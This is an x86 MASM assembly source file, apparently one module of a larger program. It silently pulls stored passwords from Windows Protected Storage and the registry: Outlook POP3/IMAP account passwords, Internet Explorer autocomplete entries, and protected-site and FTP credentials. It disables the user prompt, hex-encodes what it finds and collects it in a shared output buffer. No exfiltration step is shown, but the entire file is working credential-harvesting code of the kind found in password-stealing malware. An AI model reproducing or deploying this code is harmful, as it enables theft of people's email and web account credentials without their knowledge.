; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------


;
; Decode Outlook, IE autocomplete, protected sites & FTP passwords
;
;
;
; #########################################################################

PST_KEY_CURRENT_USER equ 0      ; Specifies that the storage is maintained in the current user section of the registry.
PST_KEY_LOCAL_MACHINE equ 1     ; Specifies that the storage is maintained in the local machine section of the registry.

; Specifies whether the prompt dialog is shown. This flag is ignored in Windows XP.
PST_PF_ALWAYS_SHOW equ 1        ; Requests that the provider show the prompt dialog to the user even if not required for this access.
PST_PF_NEVER_SHOW equ 2         ; Do not show the prompt dialog to the user.

; IPStore Interface
IPStore struct DWORD
       IPStore_QueryInterface           comethod3       ?
       IPStore_AddRef                   comethod1       ?
       IPStore_Release                  comethod1       ?
       IPStore_GetInfo                  comethod2       ?
       IPStore_GetProvParam             comethod5       ?
       IPStore_SetProvParam             comethod5       ?
       IPStore_CreateType               comethod5       ?
       IPStore_GetTypeInfo              comethod5       ?
       IPStore_DeleteType               comethod4       ?
       IPStore_CreateSubtype            comethod7       ?
       IPStore_GetSubtypeInfo           comethod6       ?
       IPStore_DeleteSubtype            comethod5       ?
       IPStore_ReadAccessRuleset        comethod6       ?
       IPStore_WriteAccessRuleset       comethod6       ?
       IPStore_EnumTypes                comethod4       ?
       IPStore_EnumSubtypes             comethod5       ?
       IPStore_DeleteItem               comethod7       ?
       IPStore_ReadItem                 comethod9       ?
       IPStore_WriteItem                comethod10      ?
       IPStore_OpenItem                 comethod8       ?
       IPStore_CloseItem                comethod6       ?
       IPStore_EnumItems                comethod6       ?
IPStore ends

; IEnumPStoreTypes/IEnumPStoreItems Interface (there's difference in 
; pointer type of ::Next function only)
IEnumPStoreTypes struct DWORD
       IEnumPStoreTypes_QueryInterface  comethod3       ?
       IEnumPStoreTypes_AddRef          comethod1       ?
       IEnumPStoreTypes_Release         comethod1       ?
       IEnumPStoreTypes_Next            comethod4       ?
       IEnumPStoreTypes_Skip            comethod2       ?
       IEnumPStoreTypes_Reset           comethod1       ?
       IEnumPStoreTypes_Clone           comethod2       ?
IEnumPStoreTypes ends

; Used while reading item data
_PST_PROMPTINFO struct
        cbSize                          DWORD           ?
        dwPromptFlags                   DWORD           ?
        hwndApp                         DWORD           ?
        szPrompt                        DWORD           ?
_PST_PROMPTINFO ends

; #########################################################################

        .data?
                ppProvider      dd ?
                ppPBlock        db ?


        .data
                szPSDLLName     db "pstorec.dll",0
                szPSFuncName    db "PStoreCreateInstance",0

                IFDEF   MOD_IE
                        szPExplorer     db "internet explorer",0
                        szPAutocomplete db "http://",0
                        szPSites        db "wininetcachecredentials",0
                ENDIF

                IFDEF   MOD_OUTLOOK
                        szPIdentType    db "identification",0
                        szPIdentSubtype db "inetcomm server passwords",0
                        szPAccount      db "SOFTWARE\Microsoft\Internet Account Manager\Accounts",0
                        szPIdent        db "Identities",0
                        szPPOP3Pass     db "POP3 Password2",0
                        szPPOP3Server   db "POP3 Server",0
                        szPPOP3Username db "POP3 User Name",0
                        szPIMAPPass     db "IMAP Password2",0
                        szPIMAPServer   db "IMAP Server",0
                        szPIMAPUsername db "IMAP User Name",0
                ENDIF

        .code

; #########################################################################

; Convert pType GUID to readable string in lpBuf
GetTypeName proc pType, lpBuf: DWORD
        LOCAL   pst: DWORD
        coinvoke ppProvider, IPStore, GetTypeInfo, 0, pType, addr pst, 0
        test    eax, eax
        jnz     @ret
        mov     edx, pst
        invoke  WideCharToMultiByte, CP_ACP, 0, [edx+4], -1, lpBuf, 1024, NULL, NULL
        invoke  CoTaskMemFree, pst
@ret:
        ret
GetTypeName endp

; Convert pType & pSubtype GUIDs to readable string in lpBuf
GetSubtypeName proc pType, pSubtype, lpBuf: DWORD
        LOCAL   pst: DWORD
        coinvoke ppProvider, IPStore, GetSubtypeInfo, 0, pType, pSubtype, addr pst, 0
        test    eax, eax
        jnz     @ret
        mov     edx, pst
        invoke  WideCharToMultiByte, CP_ACP, 0, [edx+4], -1, lpBuf, 1024, NULL, NULL
        invoke  CoTaskMemFree, pst
@ret:
        ret
GetSubtypeName endp

; #########################################################################

ReadPSItemValue proc uses esi edi pType, pSubtype, pItem: DWORD
        LOCAL   szType[1024]: BYTE
        LOCAL   szSubtype[1024]: BYTE
        LOCAL   szItem[1024]: BYTE
        LOCAL   pspi: _PST_PROMPTINFO
        LOCAL   pData, pDataLen: DWORD
        
        ; Convert UNICODE names to ASCII
        invoke  GetTypeName, pType, addr szType
        invoke  GetSubtypeName, pType, pSubtype, addr szSubtype
        invoke  WideCharToMultiByte, CP_ACP, 0, pItem, -1, addr szItem, 1024, NULL, NULL

        ; Set prompt info structure
        mov     pspi.cbSize, sizeof _PST_PROMPTINFO
        mov     pspi.dwPromptFlags, PST_PF_NEVER_SHOW
        mov     pspi.hwndApp, 0
        mov     pspi.szPrompt, 0

        ; pData pointer is allocated automaticly and should be freed using 
        ; CoTaskMemFree function
        coinvoke ppProvider, IPStore,ReadItem, 0, pType, pSubtype, pItem, addr pDataLen, addr pData, addr pspi, 0
        cmp     pDataLen, 0
        jz      @ret
        cmp     pData, 0
        jz      @ret

        IFDEF MOD_IE

        ; Autocomplete passwords
        invoke  lstrcmpi, addr szType, offset szPExplorer
        .IF     eax == 0
                invoke  lstrcmpi, addr szSubtype, offset szPExplorer
                .IF     eax == 0
                        lea     esi, szItem
                        .IF     dword ptr[esi] == 'ptth'
                                invoke  lstrlen, addr szItem
                                cmp     dword ptr[esi+eax-4], 'ataD'
                                jne     @F

                                szText  szAutoFmt, "A: %s (%s)",13,10
                                invoke  TextToHex, pData, offset lpBuf2, pDataLen
                                invoke  wsprintf, offset lpBuf1, addr szAutoFmt, addr szItem, offset lpBuf2
                                invoke  lstrcat, GlobalBuffer, offset lpBuf1

                                jmp     @free
@@:
                        .ENDIF
                .ENDIF
        .ENDIF

        ; Protected sites & FTP passwords
        invoke  lstrcmpi, addr szType, offset szPSites
        .IF     eax == 0
                invoke  lstrcmpi, addr szSubtype, offset szPSites
                .IF     eax == 0                        
                        szText  szPSiteFmt, "PSite: %s (%s)",13,10
                        invoke  TextToHex, pData, offset lpBuf2, pDataLen
                        invoke  wsprintf, offset lpBuf1, addr szPSiteFmt, addr szItem, offset lpBuf2
                        invoke  lstrcat, GlobalBuffer, offset lpBuf1
                        jmp     @free
                .ENDIF
        .ENDIF

        ENDIF

        IFDEF MOD_OUTLOOK

        ; Outlook passwords
        invoke  lstrcmpi, addr szType, offset szPIdentType
        .IF     eax == 0
                invoke  lstrcmpi, addr szSubtype, offset szPIdentSubtype
                .IF     eax == 0
                        szText  szOutFmt, "O: %s (%s)",13,10
                        invoke  TextToHex, pData, offset lpBuf2, pDataLen
                        invoke  wsprintf, offset lpBuf1, addr szOutFmt, addr szItem, offset lpBuf2
                        invoke  lstrcat, GlobalBuffer, offset lpBuf1                        
                .ENDIF
        .ENDIF

        ENDIF

@free:
        invoke  CoTaskMemFree, pData

@ret:
        ret
ReadPSItemValue endp

; #########################################################################

ReadPSItems proc uses esi edi pType, pSubtype: DWORD
        LOCAL   WSTRBuf[16]: DWORD
        LOCAL   ppEnum, celtfetched: DWORD

        coinvoke ppProvider, IPStore, EnumItems, 0, pType, pSubtype, 0, addr ppEnum
        test    eax, eax
        jnz     @ret

@loop:
        ; Here should be IEnumPStoreItems, but it is similar to IEnumPStoreTypes
        ; so I do not use it
        coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr WSTRBuf, addr celtfetched
        cmp     celtfetched, 0
        jz      @release

        ; Enumerated Items are in WSTRBuf now
        lea     edi, WSTRBuf
        mov     esi, celtfetched

@inner_loop:
        invoke  ReadPSItemValue, pType, pSubtype, [edi]
        ; Free memory
        invoke  CoTaskMemFree, [edi]
        add     edi, 4
        dec     esi
        jnz     @inner_loop

        jmp     @loop


@release:
        ; Release interface
        coinvoke ppEnum, IEnumPStoreTypes, Release

@ret:
        ret
ReadPSItems endp

; #########################################################################

ReadPSSubtypes proc uses esi edi pType: DWORD
        LOCAL   GUIDBuf[16]: GUID
        LOCAL   ppEnum, celtfetched: DWORD

        ; Get IEnumPStoreTypes interface
        coinvoke ppProvider, IPStore, EnumSubtypes, 0, pType, 0, addr ppEnum
        test    eax, eax
        jnz     @ret


@loop:  
        coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr GUIDBuf, addr celtfetched
        cmp     celtfetched, 0
        jz      @release

        ; Enumerated Subtypes are in GUIDBuf now
        ; For each type enumerate subtypes
        lea     edi, GUIDBuf
        mov     esi, celtfetched

@inner_loop:
        invoke  ReadPSItems, pType, edi
        add     edi, sizeof GUID
        dec     esi
        jnz     @inner_loop

        jmp     @loop


@release:
        ; Release interface
        coinvoke ppEnum, IEnumPStoreTypes, Release

@ret:
        ret
ReadPSSubtypes endp

; #########################################################################

ReadPSTypes proc uses esi edi
        LOCAL   GUIDBuf[16]: GUID
        LOCAL   ppEnum, celtfetched: DWORD

        ; Get IEnumPStoreTypes interface
        coinvoke ppProvider, IPStore, EnumTypes, 0, 0, addr ppEnum
        test    eax, eax
        jnz     @ret


@loop:  
        coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr GUIDBuf, addr celtfetched
        cmp     celtfetched, 0
        jz      @release

        ; Enumerated types are in GUIDBuf now
        ; For each type enumerate subtypes
        lea     edi, GUIDBuf
        mov     esi, celtfetched

@inner_loop:
        invoke  ReadPSSubtypes, edi
        add     edi, sizeof GUID
        dec     esi
        jnz     @inner_loop

        jmp     @loop

@release:
        ; Release interface
        coinvoke ppEnum, IEnumPStoreTypes, Release

@ret:
        ret
ReadPSTypes endp

; #########################################################################

IFDEF   MOD_OUTLOOK

AppendOutlookData proc lpszStr: DWORD
        LOCAL   lpDataLen, DataType: DWORD

        mov     lpDataLen, 1024
        invoke  RegQueryValueEx, esi, lpszStr, NULL, addr DataType, edi, addr lpDataLen
        .IF     eax == 0

                .IF     ([ppPBlock] == 0)
                        invoke  lstrcat, GlobalBuffer, offset szBlockBegin
                        mov     [ppPBlock], 1
                .ENDIF

                invoke  TextToHex, edi, offset lpBuf2, lpDataLen
                szText  szPOValueFmt, "D: (%s) [%s]",13,10
                invoke  wsprintf, edi, addr szPOValueFmt, lpszStr, offset lpBuf2
                invoke  lstrcat, GlobalBuffer, edi
        .ENDIF

        ret
AppendOutlookData endp

; #########################################################################

GetOutlookUserValues proc uses esi edi
        LOCAL   hkHandle: DWORD

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf1, addr hkHandle
        test    eax, eax
        jnz     @end

        mov     esi, hkHandle
        lea     edi, lpBuf4
        mov     [ppPBlock], 0

        invoke  AppendOutlookData, offset szPPOP3Pass
        invoke  AppendOutlookData, offset szPPOP3Server
        invoke  AppendOutlookData, offset szPPOP3Username
        invoke  AppendOutlookData, offset szPIMAPPass
        invoke  AppendOutlookData, offset szPIMAPServer
        invoke  AppendOutlookData, offset szPIMAPUsername

        .IF     ([ppPBlock] != 0)
                invoke  lstrcat, GlobalBuffer, addr szBlockEnd
        .ENDIF

@free:        
        invoke  RegCloseKey, hkHandle

@end:
        ret
GetOutlookUserValues endp

; #########################################################################

GetOutlookUserNames proc uses edi
        LOCAL   hkHandle, lpDir, lpNameLen, KeyIndex: DWORD

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf1, addr hkHandle
        test    eax, eax
        jnz     @end

        invoke  lstrlen, offset lpBuf1
        mov     edi, eax

        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, MAX_PATH
        mov     lpDir, eax

        mov     KeyIndex, 0

@loop_enum:
        mov     lpNameLen, MAX_PATH
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, lpDir, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @loop_end


        szText  szppsch, "\"
        invoke  lstrcat, offset lpBuf1, addr szppsch
        invoke  lstrcat, offset lpBuf1, lpDir

        invoke  GetOutlookUserValues

        lea     edx, lpBuf1
        mov     byte ptr[edx+edi], 0

        inc     KeyIndex
        jmp     @loop_enum

@loop_end:
        invoke  LocalFree, lpDir
        invoke  RegCloseKey, hkHandle

@end:        
        ret
GetOutlookUserNames endp

; #########################################################################

GetOutlookUserNames2 proc
        LOCAL   hkHandle, lpDir, lpNameLen, KeyIndex: DWORD

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szPIdent, addr hkHandle
        test    eax, eax
        jnz     @end

        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 1024
        mov     lpDir, eax

        mov     KeyIndex, 0

@loop_enum:
        mov     lpNameLen, 1024
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, lpDir, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @loop_end

        szText  szPPathFmt, "%s\%s\%s"
        invoke  wsprintf, offset lpBuf1, addr szPPathFmt, offset szPIdent, lpDir, offset szPAccount
        invoke  GetOutlookUserNames

        inc     KeyIndex
        jmp     @loop_enum

@loop_end:
        invoke  LocalFree, lpDir
        invoke  RegCloseKey, hkHandle        

@end:        
        ret
GetOutlookUserNames2 endp

ENDIF ; MOD_OUTLOOK

; #########################################################################
; Read Outlook/IE passwords from Protected Storage, there are used mostly 
; undocumented functions, even don't try to understand how it works :))

GetPStorageOutput proc
        LOCAL   hLib: DWORD

        ; Write the greet message
        szText  szPSGreet, "[PS]",13,10
        invoke  lstrcat, GlobalBuffer, addr szPSGreet

        ; Load DLL
        invoke  LoadLibrary, offset szPSDLLName
        test    eax, eax
        jz      @ret
        mov     hLib, eax

        ; Get address to PStoreCreateInstance function, which creates
        ; an instance of IPStore
        invoke  GetProcAddress, hLib, offset szPSFuncName
        test    eax, eax
        jz      @free_lib

        ; Get interface to IPStore
        xor     ecx, ecx
        push    ecx
        push    ecx
        push    ecx
        lea     edx, ppProvider
        push    edx
        call    eax

        test    eax, eax
        jnz     @free_lib

        ; Successfully connected to default Protected Storage (usually 'Windows Protected Storage')
        ; There's a way to enumerate all PStorages, but it looks like windows holds all it's passwords
        ; in default storage
        invoke  ReadPSTypes

        ; In Protected Storage there are stored only outlook passwords
        ; so we have to get IMAP/POP3 servers and user names from registry
        IFDEF   MOD_OUTLOOK
                invoke  lstrcpy, offset lpBuf1, offset szPAccount
                invoke  GetOutlookUserNames
                invoke  GetOutlookUserNames2
        ENDIF

        ; Release interface
        coinvoke ppProvider, IPStore, Release

@free_lib:
        ; Unload dynamic link library
        invoke  FreeLibrary, hLib

@ret:
        ret
GetPStorageOutput endp
